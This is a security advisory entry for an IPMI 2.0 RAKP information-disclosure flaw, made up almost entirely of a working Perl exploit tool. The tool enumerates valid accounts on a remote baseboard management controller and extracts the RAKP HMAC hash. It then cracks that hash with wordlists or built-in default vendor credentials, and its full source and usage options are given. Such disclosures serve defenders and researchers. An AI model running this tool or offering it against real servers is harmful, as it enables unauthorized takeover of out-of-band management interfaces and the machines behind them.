source: https://www.securityfocus.com/bid/61076/info
Intelligent Platform Management Interface is prone to an information-disclosure vulnerability.
Attackers can exploit this issue to obtain sensitive information that may aid password guessing attacks.
Intelligent Platform Management Interface 2.0 is vulnerable; other versions may also be affected.
#!/usr/bin/env perl
#
# Usage: rak-the-ripper [options] target
#
# dan/zen@trouble.org - 6/19/2013
#
# Special thanks to Jarrod B Johnson (<jbjohnso@us.ibm.com>), whose
# implemention of RAKP for the xCAT project
(http://xcat.sourceforge.net/)
# was instrumental to furthering my understanding of the issue.
#
#
# Remote IPMi password cracker; uses the RAKP 2 protocol to guess
passwords
# from a remote BMC. No account or information needed.
#
# Options:
#
# -d Debug... let it all out
# -i inform... every N guesses print out a status-y
line
# -n num-guesses sets N for -i option -p/path/to/words Use a file of
# passwords to guess, 1 per line -P password Use a specific password
# -u/path/to/users Use a file of users to guess, 1 per line -U
# specific-user Use a specific user, don't guess -v Verbose -version
# Print version #
#
# Explanation:
#
# IPMI v2, when using the RAKP protocol, uses HMAC hashes for
authentication
# (see page 162 of the IPMI 2.0 spec for more details.)
#
# Three factors are of interest here:
#
# 1) You can test if an account exists (RAKP will generate a
recognizable error
# if not.)
# 2) IPMI will return a (supposedly) globally unique number for a BMC.
This is
# a potentially really interesting thing - identity of a system on a
network
# is a very difficult problem. Unfortunately it looks like many
vendors
# don't implement this correctly... not sure if all 0's (a common
value)
# afects the strength of the HMAC, but...?
# 3) You get to extract the HMAC hash - and then run a password cracker
on it.
# Pretty interesting....!
#
# To start a RAKP session you can use the fine ipmitool utility (the
"lanplus"
# argument here forces IPMI 2.0):
#
# ipmitool -I lanplus -v -v -v -U ADMIN -P fluffy-wuffy -H
192.168.0.69 chassis identify
#
# This kicks off a back-n-forth sequence with a remote BMC; for
instance, on my iMac,
# it looks like this:
#
# client (iMac) BMC ------------- ---- 1 get channel auth
# 2 response 3 RMCP+ open session request 4 open session
# response 5 RAKP message 1 6 RAKP message 2
#
# It's in step 6 that you get the HMAC hash needed to fill in the
details.
# Fortunately ipmitool gives you all you need.
#
# You may simply parse the verbose ipmitool output, which at one point
will emit
# something that looks like:
#
# >> rakp2 mac input buffer (63 bytes)
# a4 a3 a2 a0 4c 7f fb df ec a4 a3 96 b1 d0 7e 27 cd ef 32 ae 66 cf
# 87 b9 aa 3e 97 ed 5d 39 77 4b bc 8a c5 a9 e2 da 1d d9 35 30 30 31
# 4d 53 00 00 00 00 00 00 00 00 00 00 14 05 41 44 4d 49 4e
#
# these bytes are, in order, the session IDs of the remote console &
managed system,
# the remote console's random number, the managed system's random
number,
# the managed system's GUID, the priv level, the length of the user
name,
# and finally the user name.
#
# You simply take the HMAC of that and the password (or password guess!)
# and compare it with the key exchange auth code that the BMC has sent
you.
#
# << Key exchange auth code [sha1] :
0xede8ec3caeb235dbad1210ef985b1b19cdb40496
#
# Default Users: 'admin', 'USERID', 'root', 'Administrator',
'ADMIN'
# Default Passwords: 'PASSW0RD', 'admin', 'calvin', 'changeme',
'opensource', 'password' use Time::HiRes; use IO::CaptureOutput
qw/capture_exec/; use Digest::SHA qw(hmac_sha1_hex); use Getopt::Long
qw(:config no_ignore_case); sub main::VERSION_MESSAGE {
print "$0 0.0.1\n";
exit;
};
sub main::HELP_MESSAGE {
print "Usage: $0 [options] target\n".
"\t-d\t\t\tDebug... print words as they're being guessed\n".
"\t-i\t\t\tinform... every N guesses print out a status-y line\n".
"\t-n num-guesses\t\tsets N for -i option\n".
"\t-p /path/to/words\tUse a file of passwords to guess, 1 per
line\n".
"\t-P password\t\tUse a specific password \n".
"\t-u /path/to/users\tUse a file of users to guess, 1 per line\n".
"\t-U specific-user\tUse a specific user, don't guess\n".
"\t-v\t\t\tVerbose\n".
"\t-version\t\tPrint version #\n";
exit;
};
GetOptions(
'd' => \$debug,
'h' => \$help, 'help' => \$help,
'i' => \$inform, 'inform' => \$inform,
'n=i' => \$Nguesses,
'p=s' => \$password_file,
'P=s' => \@guesses,
'u=s' => \$user_file,
'U=s' => \@users,
'v' => \$verbose,
'version' => \$version ) || die main::HELP_MESSAGE();
#
# process command line arg stuff
#
die main::HELP_MESSAGE() if (defined($help));
# the target, specified on command line
$target = $ARGV[0]; die main::HELP_MESSAGE() if ($target eq "");
# this can take awhile to finish...
print "Started at " . `date` if $verbose;
# anything > 0 and <= 20 characters would work here; ipmitool simply
needs something $pass = "fluffy-wuffy-bunny!!";
#
# Need some passwords to guess... either from file or some defaults I
made up
# Not going to cache these since they can blow up my poor mac's
memory... feel
# free to change it ;)
#
if (! defined(@guesses)) {
if ($password_file ne "") {
open(PASSWORDS, $password_file) || die "can't open user file
$password_file\n";
print "opening password file $password_file\n" if $verbose;
}
else {
print "using default passwords\n" if $verbose;
@guesses = ('PASSW0RD', 'admin', 'calvin', 'changeme',
'opensource', 'password');
}
}
#
# need to know account name... either from file or some defaults I made
up
#
if (! defined(@users)) {
if ($user_file ne "") {
open(ACCOUNTS, $user_file) || die "can't open user file
$user_file\n";
print "getting list of users from $user_file\n" if $verbose;
@users = <ACCOUNTS>;
chomp(@users);
close(ACCOUNTS);
}
else {
@users = ('admin', 'ADMIN', 'USERID', 'root', 'Administrator');
print "using default user list\n" if $verbose;
}
}
#
# a tiny subroutine to chow down on possible guesses
#
sub guesswork() {
print "\t$guess...\n" if $debug;
if ($inform) {
print "\t$n guesses (so far)...\n" if (! ($n % $Nguesses));
}
$guess_suffix = "";
$guess_suffix = "ses" if $n > 1;
# $stuff = pack 'C*', map hex, @input; print
# hmac_sha1_hex($stuff,$pass) . "\n"; print "... 0x" .
# hmac_sha1_hex($stuff,$guess) . "\n";
if ("0x" . hmac_sha1_hex($stuff,$guess) eq $hashy) {
print "...cracked in $n guess$guess_suffix...\n\nPassword for
$user is $guess\n\n";
$cracked = 1;
return 1;
}
$n++;
return(0);
}
#
# look for a user, any user... RAKP will gripe if it's not valid
#
for $user (@users) {
print("\tprobing $target for $user...\n") if $verbose;
# chassis id starts up the RP machinery
@icmd = ("ipmitool", "-I", "lanplus", "-v","-v","-v","-v", "-U",
"$user", "-P", "$pass", "-H", "$target", "chassis", "identify");
($stdout, $stderr, $success, $exit) = capture_exec( @icmd );
#
# grabbing two things - the input to calculate the hash, and the hash
itself.
# but first... hunt for a valid user on the BMC.
#
if ($stdout =~ /RMCP\+ status\s+:\s+unauthorized name/) { next; }
elsif ($stdout =~ /RMCP\+ status\s+:\s+insufficient resources for
session/) {
print "interesting... insufficient resources... try again?\n" if
$verbose;
next;
}
elsif ($stdout =~ /^\s*$/) { next; }
# kill the leading whitespace & newlines... hash is in stdout, input
data in stderr
$stderr =~ s/\n//gs;
$stdout =~ s/\n//gs;
$name_found = 1;
print "Found valid user: $user\n" if $verbose;
# after this, no need to continue with other users
@users = ();
# << Key exchange auth code [sha1] :
0x6e5d0a121e13fa8f73bfc2da15f7b012382f6be9
($hashy = $stdout) =~ m/^.*<< Key exchange auth code \[sha1\] :
([^\s]+).*$/m;
$hashy = $1;
if ($hashy eq "") { print "couldn't find an auth code, skipping\n";
next; }
($input = $stderr) =~ m/^.*>> rakp2 mac input buffer \(\d+ bytes\)
([^>]+)>>.*$/m;
$input = $1;
if ($input eq "") { print "couldn't find data to HMAC, skipping\n";
next; }
# stuff it into binary form
$stuff = pack 'C*', map hex, split(/ /, $input);
print "... searching for HMAC match for $user ($hashy)\n" if
$verbose;
$n = 1;
$cracked = 0;
# curiosity ;)
$start = Time::HiRes::gettimeofday();
if (! defined(@guesses)) {
while (($guess = <PASSWORDS>)) {
chomp($guess);
break if guesswork();
}
close(PASSWORDS);
}
else {
for $guess (@guesses) {
break if guesswork();
}
}
}
die "\nno valid accounts found\n" unless $name_found; print "$n
passwords were tried\n" if $verbose; $end = Time::HiRes::gettimeofday();
$time = $end - $start; if ($verbose && $time > 0) {
printf("time elapsed was ~ %.2f\n", $end - $start);
$per_second = $n / $time;
print "$n passwords were guessed, at the rate of $per_second per
second\n";
}
